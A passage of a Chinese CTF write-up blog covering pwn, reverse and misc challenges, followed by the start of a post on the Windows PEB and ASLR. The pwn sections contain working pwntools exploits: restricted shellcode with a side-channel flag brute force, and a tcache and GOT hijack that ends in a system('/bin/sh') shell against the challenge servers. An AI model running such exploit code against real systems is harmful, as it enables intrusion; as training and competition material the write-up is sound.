    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    # no write for us
    # defeat seccomp reference: https://tttang.com/archive/1447/#toc_wirte
    # by pass shellcode check reference:
    # - https://www.roderickchan.cn/zh-cn/2022-04-30-angstromctf-pwn/
    # - https://ctftime.org/writeup/33656
    # - https://hackmd.io/@DJRcJnpzRDK3J_8-dhv_dA/rycDEyFSq#parity
    # - https://www.aynakeya.com/ctf-writeup/2022/angstrom/pwn/parity/

    from pwn import *

    binary = context.binary = ELF('./shellcode')
    # context.log_level = 'critical'

    shellcode1_part1 = asm('''
    pop rax
    pop rbx
    nop
    xor edx, ebx
    pop rbx
    xor ax, 0x03e6
    xor ax, 0x100
    sub al, 1
    nop
    push rbx
    push rax
    push rbx
    push rax
    ''')

    shellcode1_part2 = asm('''
    push rbx
    enter 0x1, 0x3
    nop
    pop rbx
    push rax
    push rbx
    nop
    pop rbx
    ret 0x0009
    pop rbx
    ''')

    shellcode1 = shellcode1_part1 + shellcode1_part2
    lenth = len(shellcode1)
    padding_times = int((0x200 - lenth) / 2)
    padding = b'\x90\x61' * padding_times
    shellcode1 = shellcode1 + padding

    for i, c in enumerate(shellcode1):
    # if c >= 0b10000000:
    # log.info("bad byte %s at index %d" % (hex(c), i))
    # log.error(shellcode1)
    if i & 1 != c & 1:
    log.info("bad byte %s at index %d" % (hex(c), i))
    log.error(shellcode1)
    if c & 1 == 1 and c > 0x80:
    log.info("negative byte %s at index %d" % (hex(c), i))
    log.error(shellcode1)

    # we need brute force every byte of flag
    # the seach space is 0x20 ~ 0x7e
    search_space = [i for i in range(0x20, 0x7e)]

    flag_probable_len = 0x40
    flag = ''
    for i in range(flag_probable_len):
    for ch in search_space:
    # p = process(binary.path)
    p = remote('111.186.57.85',40245)
    p.recvuntil(b'Please input your shellcode: \n')
    ### stage1: call a read syscall to read shellcode
    p.send(shellcode1)
    ### stage2: fuck yeah! we can send shellcode without limitation now
    # but we have no write
    # so we have to use ways like side channel
    shellcode2 = asm(f'''
    lea rdi, [rip+flag]
    mov rsi, 0
    mov rax, 2
    syscall
    mov rdi, rax
    mov rsi, rsp
    mov rdx, 0x100
    mov rax, 0
    syscall
    loop:
    xor rax, rax
    xor rbx, rbx
    mov al, byte ptr[rsp+{i}]
    mov bl, {ch}
    cmp al, bl
    je loop
    flag:
    .string "./flag"
    ''')
    shellcode2 += b'\x90' * (0x200 - len(shellcode2))
    p.send(shellcode2)
    # learned from changcheng cup...
    p.shutdown('send')

    # now if ch is the right byte, the program will be in a dead loop
    # otherwise the program will die
    sleep(1)
    # if p.poll() == None:
    # flag += chr(ch)
    # print("flag is now: ", flag)
    # p.close()
    # break
    # else:
    # p.close()
    # continue
    try:
    detection = p.fileno()
    p.recv(timeout=0.1)
    flag += chr(ch)
    print("flag is now: ", flag)
    p.close()
    break
    except:
    p.close()
    continue

    if flag[:-1] == '}':
    break

    print(flag)

    flag:

    1
    0ops{practice_handwrite_shellcode}

flat

本题的考察点是deflat去混淆和tcache劫持。

其实题目对deflat的提示很明显,但是我一开始没往这方面向,直到出flag才知道要用deflat,一开始是自己手动去混淆的:

先看明白了每种操作对应一个opcode,然后找==,然后根据i=xxxxx去找casexxxxx,有if的就猜测可能是对什么进行判断(比如索引、size),然后选一个i去找case……最后硬是把程序的主要逻辑逆向出来了:

  • 48879: 退出程序

  • 4112:堆块写,但是最后一位由程序置零(edit_0_end)

    e.g. edit_0_end(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 768: malloc

    e.g. malloc(index, size, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度实际上最多比size少1,最后一字节会被置0

  • 2989: 堆块写(edit)

    e.g. edit(index, payload)

    会对index所对应位置的size和address做非空检查,且0<=index<31,payload的长度恰好等于size

  • 4919: free

    e.g.free(index)

    会检查0<=inex<31,检查address处是否已经为空,然后将对应address和size都置零。

  • 57005: 堆块读(puts)

    会对index所对应位置的size和address做非空检查,且0<=index<31,然后puts堆块内容

但是这里的0截断并没有off-by-null漏洞,在how2heap找了半天找不到利用方法。于是在gdb里先试着:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

p = binary.process()

def malloc(index, size, data):
p.sendline(b'768')
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.sendline(data)

def free(index):
p.sendline(b'4919')
p.sendline(str(index).encode())

def edit(index, data):
p.sendline(b'2989')
p.sendline(str(index).encode())
p.send(data)

def edit_0_end(index, data):
p.sendline(b'4112')
p.sendline(str(index).encode())
p.sendline(data)

def puts(index):
p.sendline(b'57005')
p.sendline(str(index).encode())
return p.recvline().strip()

malloc(0,0x100, b'a')
edit(0, cyclic(0x100))
# gdb.attach(p)
malloc(1,0x100, b'b')
edit(1, cyclic(0x100))

发现mallo个两次0x100大小的堆块程序就退出了,于是在第一次后面把gdb附上去:

PoC

十分离谱……我到现在也没弄明白这个漏洞是哪里来的。

换成0x80及以下似乎就没这种情况,0x90的时候链表有两个值,分别是我们输入的0x80处和0x88处,也就是说我们在0x80和0x88处写上合法的地址,下一次malloc相应大小的chunk就能控制我们输入的地址。

checksec一下:

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'

那么我们现在需要做的就很清晰:

  1. leak libc
  2. got hijacking
  3. get shell

首先,准备好用于leak和劫持的堆块,以及写有/bin/sh的堆块;然后malloc一个可用大小为0x90的堆块,malloc一个可用大小为0x330(实际大小为0x340)的堆块并free掉,使得tcache的0x340大小链表有一项。然后往0x90大小的堆块里面填满heap_manager地址(也就是该程序用来管理堆块的区域起始地址)。这样当我们再malloc一个可用大小为0x330到0x338大小的堆块时,就会返回heap_manager的地址。我们往这里面填入0x1000和free_got的地址,这样程序自定义的堆管理器就会认为index0处之前malloc了一个可用大小为0x1000的堆块,且位于free_got。因此我们这时再puts(0)就不会报错,也就能够leak出libc中free的地址,也就知道了libc的基地址。然后利用这个基地址知道system的地址,往0写入这个地址,也就将free劫持到system。最后我们free(1),1是我们之前放/bin/sh的地方,此时执行system('/bin/sh'),得到shell。

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *

binary = context.binary = ELF('./flat')
libc = binary.libc

# p = binary.process()
p = remote('111.186.57.85', 40246)

def malloc(index, size, data):
p.sendline(b'768')
p.sendline(str(index).encode())
p.sendline(str(size).encode())
p.sendline(data)

def free(index):
p.sendline(b'4919')
p.sendline(str(index).encode())

def edit(index, data):
p.sendline(b'2989')
p.sendline(str(index).encode())
p.send(data)

def edit_0_end(index, data):
p.sendline(b'4112')
p.sendline(str(index).encode())
p.sendline(data)

def puts(index):
p.sendline(b'57005')
p.sendline(str(index).encode())
return p.recvline().strip()

free_got = binary.got['free']
heap_manager = 0x4060B0

# we will use this to get libc leak and control free_got
malloc(0,0x500, b'a')
malloc(1,0x20,b'/bin/sh\x00')
free(0)

# 2 is used to get control of tcache
malloc(2,0x90, b'b')
# 3 is used to make a tcache bin
malloc(3,0x330, b'c')
free(3)
gdb.attach(p)
edit(2,p64(heap_manager)*(0x90//8))
# now tcace bin is
# 0x340 [ 1]: 0x4060b0 ◂— 0x0
# 0x350 [ 0]: 0x4060b0 ◂— ...
payload=p64(0x1000)+p32(free_got)
# now we control the heap_manager
# we make index 0 's size 0x1000
# and we make index 1 's pointer to free_got
malloc(3,0x330,payload)
# this will puts what is on the free_got
response = puts(0)
libc_leak = response[-6:].ljust(8, b'\x00')
libc.address = u64(libc_leak) - libc.sym['free']
info(f'[LEAK&CALC]: libc_base: {hex(libc.address)}')
system = libc.sym['system']
# we overwrite free_got with system
edit_0_end(0,p64(system))
# 1's pointer point to /bin/sh
free(1)
p.interactive()

flag:

1
0ops{learning_deflat_trick_to_defeat_ollvm}

REVERSE

Peer-Trace

这道题的考察点是ptrace和strace的用法。

peer程序会调用puppet程序,并使用ptrace来在不同运行时刻监视peer程序并修改其内存/寄存器的值。

先从网上学习了下ptrace的用法,主要关注PTRACE_POKEDATA, PTRACE_SETREGS因为这两个会修改被监视子程序的内存/寄存器。

puppet程序的逻辑是读取一个输入,长度需要为48字节,然后逐字节与0x28异或,最后与ct区域的48字节做比较。

建议使用strace观察程序运行过程中ptrace相关内容:

1
strace ./peer

peer程序的主要逻辑可以通过观察PTRACE_POKEDATA, PTRACE_SETREGS和相应的ida伪代码得到:

  1. 对输入的48字节做下面的逻辑:

    • 分为8组,对每组:
    • 交换0,5
    • 交换1,7
    • 交换2,6
    • *((_BYTE *)v25 + j) -= j + i,其中j是组内索引,i是组号,v25是每组的起始地址
    • 交换3,4
  2. 在异或0x28后,劫持程序,对每个字节做如下修改:

    1
    2
    3
    4
    5
    6
    v25[0] = 0xA39C3E6994313F40LL;
    v25[1] = 0x17872470565B9B60LL;
    v25[2] = 0x11A918AABA97CA68LL;
    v25[3] = 0xB8F1B0AB9B3DD3B0LL;
    v25[4] = 0x488749FB6A1835E4LL;
    v25[5] = 0x82926F78FE98158LL;

    每个字节分别与peer中此时的v25中对应字节相加,舍去进位。

最后再与puppet程序中ct区域的48字节作比较,需要相等。整个过程都是相对简单的可逆过程,将算法反过来即可。完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *

v25 = p64(0xA39C3E6994313F40) + p64(0x17872470565B9B60) + p64(0x11A918AABA97CA68) + p64(0xB8F1B0AB9B3DD3B0) + p64(0x488749FB6A1835E4) + p64(0x82926F78FE98158)
ct = p64(0xe3de41c1f389569c) + p64(0x3500a2b1a46c9bd1) + p64(0x890a29f3d010d481) + p64(0x200f1fca08a04513) + p64(0xc3ab5b0381564f00) + p64(0x08953b09bbf7fdc7)
# tmp1 is the bytearray after xored
tmp1 = bytearray()
# each byte in tmp is the result of ct[i] - v25[i]
for i in range(48):
if ct[i] < v25[i]:
tmp1.append(ct[i] + 256 - v25[i])
else:
tmp1.append(ct[i] - v25[i])
# tmp1 is the bytearray before xored with 0x28
for i in range(48):
tmp1[i] ^= 0x28
print(tmp1)

def reverse(cypher):
# group cypher into 8 bytes
cypher = [cypher[i:i+8] for i in range(0, len(cypher), 8)]
# for each group, we decrypt it
for i in range(len(cypher)):
# swap BYTE3 and BYTE4
tmp = cypher[i][3]
cypher[i][3] = cypher[i][4]
cypher[i][4] = tmp
for j in range(8):
cypher[i][j] += j + i*8
# swap BYTE2 and BYTE6
tmp = cypher[i][2]
cypher[i][2] = cypher[i][6]
cypher[i][6] = tmp
# swap BYTE1 and BYTE7
tmp = cypher[i][1]
cypher[i][1] = cypher[i][7]
cypher[i][7] = tmp
# swap BYTE0 and BYTE5
tmp = cypher[i][0]
cypher[i][0] = cypher[i][5]
cypher[i][5] = tmp

# get the result
result = b''
for i in range(len(cypher)):
result += bytes(cypher[i])
print(result)


reverse(tmp1)

flag:

1
0ops{tr@cE_traC1Ng_tRAc3d_TRaces_z2CcT8SjWre0oP}

MISC

QrCode2

本题考查的是二维码的结构和标准qrazybox的使用

之前在做hackergame还是geekgame的时候碰到一道华维码,是华容道和二维码还原的结合。题目没做出来,但是在群里看到个二维码仙人,整天在群里发他还原二维码的过程。这下真用上了,快说谢谢二维码仙人。

贴一个二维码仙人的二维码教程

要用到的工具是qrazybox

由于定位块缺失,我先直接根据图片把已知的黑色白色都填充上,然后一个一个试纠错等级,发现只有M0是符合的,然后用qrazybox的tools把padding bits补上:

复原

但是缺失的内容实在太多了,无论是直接提取还是用Reed-Solomon Decoder都得不到flag,但是通过Data Sequence Analysis可以看到message data有一个},而题目已经告诉我们这题的flag格式为flag{.*},根据二维码格式,我们将前5位message data修改位flag{,这时候再用Reed-Solomon Decoder已经可以得到flag了。

修改数据后的结果:

final

flag:

1
flag{D4+4_2e(0\/3R_v_!5_S0_3a5_v}

WhereIsMyFlag

本题考察的是视力和对数据的处理能力。

在github的commit记录最后可以看到:

1
import gzip; import base64; gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

运行这段代码发现处理后的数据还是1f8b开头,推断仍然是gzip。直接写到文件里去:

1
2
3
4
5
6
import gzip
import base64
x = gzip.decompress(base64.b64decode('H4sIAAAAAAACA5Pv5mAAASbmt3cNuf9EzT3+sN5nQrdr2jIOrcbXJmHROjnJAouEuzN5jcq4Fbf6bN1wVlfNYInA9KvHri/k2HjhUVbxzHOHlB5vNdhWdDOpzPyo0Yy7S+6LFzyoXBVc/0r/+ffe+TVfEr8u/dF93/3if9td8//+Ff//8WK4HQMUNL7+V9J/3fBA+2Ojea/lmaCiC7PLMzf1Mt3zjTvJCBU6+Pp00v6/Ah92xQpbQoUUKm7azN2meyBZkk/cFi52vlpmbXQD0LhshLq3er7XdB2+533y4oOKccTFi/1+63HgdZnvE6hQw4PUzyW3tjH0p1rEfIGL2b4v3JLH2He6Yt1TuNjW3SaR2xnu7j6pjbCiNvLNdmXG9bdNJzJDxZqmn72ceZvJZtrDgotwse97jl/cxWqh93jnNLjY9XeXUu4ylbxXW49wytfUjff7WPbkXXdBuNjMf3ku94eItsOu/DCxe5/l3F+LPdjR8zwKoW639+RS7gt7Z++ZhLBi+tE6a6HRwBsNvNHAGw280cAbDbzRwBsNPETgff/8c/3l6bfX1355+POl/P+f7P/n1n17/L7239/8ufs8Ztf/fWr+mP/P/rrvL+vrbP59m1/39Wf/vh/T///y/vb102R/u9/b4///3m4v9+/D9vof7+bv/zX7v2bdr375Xe//6DOe7GOObudnAAAdRZxfbAoAAA=='))

with open("out.gz", "wb+") as f:
f.write(x)

然后再终端反复解压缩,得到二进制文件后strings一下:

1
2
3
4
gzip -d out.gz
mv out out.gz
gzip -d out.gz
strings ./out

就可以得到flag:

1
flag{760671da3ca23cae060262190c01e575873c72e6}

RealOrNot

本题考查的是写脚本的能力,大概。

pow challenge 应该是区块链中的概念?但是和这道题关系不大,这题的pow challenge直接让AI就能写,要花太长时间的challenge就跳过好了。

给的server.py并不会输出第几张图片判断错了,但是实际交互时显示了。而且在我把所有图片都无重复地保存下来后发现总共只有100张图片,服务器会每次选20张让我们判断真伪,因此我们可以先将所有图片都随便打上标签,然后根据标签去向服务器发送答案,服务器每次都会给我们纠错一张,我们根据错误信息修改对应图片的标签,很快就能将所有图片的标签都修改正确。这时无论服务器选哪20张我们都能给出正确的答案。

保存图片的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import base64
import os
import uuid
from pwn import *

def verify_pow_solution(challenge, solution):
prefix = "0000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def save_image():
count = 0
for i in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
# compared with the local images using b64, if the image is not in the local images, save it
# using a uuid as the filename
# if folder is empty, save the image directly
if not os.listdir('images'):
with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
f.write(base64.b64decode(b64_image))
count += 1
else:
save_flag = True
for filename in os.listdir('images'):
with open(f'images/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
save_flag = False
break
if save_flag:
with open(f'images/{uuid.uuid4()}.png', 'wb') as f:
f.write(base64.b64decode(b64_image))
count += 1

info(f"save {count} images")

p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT w44bxg7cgh48frjc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
info(f"solution: {solution}")
p.sendline(solution.encode())
save_image()
p.close()

这道题的标签我一开始是用模型打的,但是准确率并不高。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
prefix = "0000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=4, timeout=0.5):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def eval_image():
for _ in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
for filename in os.listdir('images_model'):
with open(f'images_model/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
correct_answer = filename[-5].upper()
file_list.append(filename)
if correct_answer != 'Y' and correct_answer != 'N':
correct_answer = 'N'
correct_answers.append(correct_answer)
break

p.recvuntil(b" all 20 rounds (Y/N): ")
data = ''.join(correct_answers)
info(data)
p.sendline(data.encode())


while True:
correct_answers = []
file_list = []
p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT gmvfevkv2k6p982q:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
if solution is None:
p.close()
continue
info(f"solution: {solution}")
p.sendline(solution.encode())
eval_image()
try:
response = p.recvuntil(b"Incorrect answer for Round ", timeout=0.3)
wrong_round = p.recvuntil(b".", drop=True)
info(f"wrong_round: {wrong_round}")
wrong_round = int(wrong_round)
wrong_filename = file_list[wrong_round - 1]
# change the filename to the right answer(opposite of original answer)
# modify the filename to the right answer
correct_answer = correct_answers[wrong_round - 1]
if correct_answer == 'Y':
correct_answer = 'N'
else:
correct_answer = 'Y'
right_filename = wrong_filename[:-5] + correct_answer + '.png'
# append the wrong filename to log.txt
with open('log.txt', 'a') as f:
f.write(f'{wrong_filename}\n')
os.rename(f'images_model/{wrong_filename}', f'images_model/{right_filename}')
p.close()
continue
except:
break

p.interactive()

flag:

1
flag{DeepFake_1s_Ea5y_aNd_1ntere5t1ng!}

RealOrNotRevenge

本题考察的是谷歌识图的能力。

下载图片和之前一样,这道题我下载下来只有86张图片。我全部拿去谷歌识图,能搜到的大多数是unsplash上的图片。能搜到的我都标记Y,搜不到的都标记N。准确率似乎极高。。。跑个几次就出flag了。因此主要工作量在于我手动谷歌识图,但是应该可以写代码调用API?

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import hashlib
import base64
import os
import time
from pwn import *

context.log_level = 'info'

def verify_pow_solution(challenge, solution):
prefix = "00000"
guess = solution + challenge
guess_hash = hashlib.sha256(guess.encode()).hexdigest()
return guess_hash.startswith(prefix)

def solve_pow(challenge, difficulty=5, timeout=3):
start_time = time.time()
while True:
for solution in (f"{i:0{difficulty}x}" for i in range(16 ** difficulty)):
if verify_pow_solution(challenge, solution):
return solution
if time.time() - start_time >= timeout:
return None

def eval_image():
for _ in range(20):
p.recvuntil(b'Is this picture real or not (Y/N)? \n')
b64_image = p.recvuntil(b'\n', drop=True)
for filename in os.listdir('images_model'):
with open(f'images_model/{filename}', 'rb') as f:
if base64.b64encode(f.read()).decode() == b64_image.decode():
correct_answer = filename[-5].upper()
file_list.append(filename)
if correct_answer != 'Y' and correct_answer != 'N':
correct_answer = 'N'
correct_answers.append(correct_answer)
break

p.recvuntil(b" all 20 rounds (Y/N): ")
data = ''.join(correct_answers)
info(data)
p.sendline(data.encode())


while True:
correct_answers = []
file_list = []
p = remote('instance.penguin.0ops.sjtu.cn', 18081)
p.send(b'CONNECT 6gmer7hwgjkkh6fc:1 HTTP/1.1\r\n\r\n')
p.recvuntil(b"solution + '")
challenge = p.recvuntil(b"'", drop=True).decode()
info(f"challenge: {challenge}")
# p.interactive()
solution = solve_pow(challenge)
if solution is None:
p.close()
continue
info(f"solution: {solution}")
p.sendline(solution.encode())
eval_image()
print(len(file_list))
response = p.recvline()
if b'flag' in response:
print(response)
break
p.close()

flag:

1
flag{Revenge_1s_Ea5y_aNd_1ntere5t1ng!}

f and r

本题考察的是信息检索能力和动手能力。

几乎全靠这篇文章:

https://wumb0.in/extracting-and-diffing-ms-patches-in-2020.html

根据文章提到的步骤把msu里面的cab提取出来:

1
2
3
4
5
6
7
8
9
10
11
mkdir content
expand.exe -F:* ".\windows10.0-kb114514-x64.msu" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Windows10.0-KB114514-x64.cab" ./content
cd content
mkdir content
expand.exe -F:* ".\Cab_for_KB114514_PSFX.cab" ./content

发现f和r文件夹下都有curl.exe。那么我们要做的就是从delta和curl.exe恢复出一个二进制文件。

需要利用作者编写的delta_patch.py。但是直接将题目给的f和r喂进去是行不通的。

文中有这么一段:

To generate the binaries I want I’m going to apply the reverse delta and then each forward delta, creating two output files:

1
2
3
4
5
6
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-07.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-07\x64\os-kernel_10.0.18362.959\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: zZC/JZ+y5ZLrqTvhRVNf1/79C4ZYwXgmZ+DZBMoq8ek=
PS > python X:\Patches\tools\delta_patch.py -i ntoskrnl.exe -o ntoskrnl.2020-08.exe .\r\ntoskrnl.exe X:\Patches\x64\1903\2020\2020-08\x64\os-kernel_10.0.18362.1016\f\ntoskrnl.exe
Applied 2 patches successfully
Final hash: UZw7bE231NL2R0S4yBNT1nmDW8PQ83u9rjp91AiCrUQ=

何意呢,目测是说:

我们有一个比较新的文件,一个旧补丁,一个处于中间的补丁。利用旧补丁的r回到旧版本,再用中间补丁的f就可以生成中间版本。

update.mum里面有一串网址:https://support.macrohard.com/help/5034203

好好好把巨硬改成微软,发现是KB5034203更新,那就把这个msu下载下来,提取出其中curl的f和r。

然后用KB5034203的r回滚到旧版本,用题目给的f生成我们要的二进制文件。

1
2
python delta_patch.py -i curl.exe -o curl.patched.exe .\kb5034203\r\curl.exe .\kb114514\amd64_curl_0o0o0o0o0o0o0o0_10.0.19041.9999_none_0o0o0o0o0o0o0o0\f\curl.exe
.\curl.patched.exe --version

得到flag:

1
flag{ dc1d03c554150a cedca6d71ce394 }

去掉空格即可。

Boy’s Bullet

本题考查图片exif编辑能力和阅读理解能力。

回旋镖是吧。2000年出生的男孩24岁开枪38岁噶了,我作为一个2024年出生的照片也应该38岁时噶,所以应该是2062年。刚开始这个时间戳没搞明白啥意思,一开始文件名里带时间错,后来在图片里加时间戳,后来才猛地想起exif也有时间戳。

用这个网站随便修改了一张图片的exif信息(Modify Date),然后上传:

1
curl -T 2062.jpeg http://111.186.57.85:10038

就能得到flag:

1
flag{47_7h15_m0m3n7_3duc4710n_h45_c0mp1373d_4_72u1y_c1053d_100p}

result

没记flag,学校那个莫名连不上,换geekctf复现的。

  • ✇BeaCox
  • Windows PEB 利用BeaCox
    ASLRASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。PEB在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。进程环境块(PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。维基百科
     

Windows PEB 利用

作者 BeaCox
2024年3月16日 20:00

ASLR

ASLR,全称 Address space layout randomization,即地址空间配置随机加载。多数现代的应用程序都会开启 ASLR。目的是防止攻击者事先获知程序的虚拟内存地址,防止攻击者能可靠地跳转到内存的特定位置来利用函数。

在Linux中,ASLR 的实现方式是同一个应用程序每次启动都会被加载到不同的位置。而在 Windows 中,只能保证系统重启后地址的随机性。

究其原因,是对性能和安全性权衡后的结果。由于 Windows 不采用 PIE,因此其 ASLR 的实现需要付出内存代价。 每次将库映射到不同地址时,都会占用更多内存。

当然这也意味着,如果我们在某台 Windows 机器上获取了一次库函数的虚拟地址,在其重启之前,我们都能够继续使用。

PEB

在 Linux 中,内核通过task_struct保存并管理进程相关的信息,在 Windows 中起到类似作用的是PEB。当然,还是有许多不同之处。例如 PEB 在用户态中而 task_struct在内核态中。

进程环境块PEB)是 Windows NT操作系统内部使用的数据结构,用以存储每个进程的运行时数据。

维基百科对 PEB 的描述足够全面,推荐感兴趣的读者继续阅读,值得注意的是中文翻译有些瑕疵。说回到 PEB,PEB 是一个结构体,包含了进程是否被调试、被加载模块的虚拟地址等大量信息。

在 Windows 11 23H2 (2023 Update) 版本的内核中,PEB 的部分定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//0x7d0 bytes (sizeof)
struct _PEB
{
UCHAR InheritedAddressSpace; //0x0
UCHAR ReadImageFileExecOptions; //0x1
UCHAR BeingDebugged; //0x2
union
{
UCHAR BitField; //0x3
struct
{
UCHAR ImageUsesLargePages:1; //0x3
UCHAR IsProtectedProcess:1; //0x3
UCHAR IsImageDynamicallyRelocated:1; //0x3
UCHAR SkipPatchingUser32Forwarders:1; //0x3
UCHAR IsPackagedProcess:1; //0x3
UCHAR IsAppContainer:1; //0x3
UCHAR IsProtectedProcessLight:1; //0x3
UCHAR IsLongPathAwareProcess:1; //0x3
};
};
UCHAR Padding0[4]; //0x4
VOID* Mutant; //0x8
VOID* ImageBaseAddress; //0x10
struct _PEB_LDR_DATA* Ldr; //0x18
struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters; //0x20
VOID* SubSystemData; //0x28
VOID* ProcessHeap; //0x30
struct _RTL_CRITICAL_SECTION* FastPebLock; //0x38
union _SLIST_HEADER* volatile AtlThunkSListPtr; //0x40
VOID* IFEOKey; //0x48
……
};

在本文中,我们主要关注偏移为 0x18 的 Ldr 字段。为什么?因为它包含了被加载模块(用到的库)的虚拟地址。

Ldr 概览

在利用之前,或许应该先看看这个字段包含什么内容。我先在 Windbg 中随机打开一个应用程序看看 PEB 及 Ldr 的内容。

lm

在命令框中键入lm,即 list modules,可以看到这个应用加载了5个模块。其中a是程序本身的名字(a.exe),而KERNEL32是我们关心的另一个模块,因为它控制着系统的内存管理、数据的输入输出操作和中断处理,或者换句话说,其中有许多我们可以利用的函数(如WriteFile()用来写)。在不使用调试工具的时候我们无法如此便捷地获取被加载模块的地址,因此我们需要用到 PEB。

在 Windbg 中也可以很方便地查看 PEB 信息:

!peb

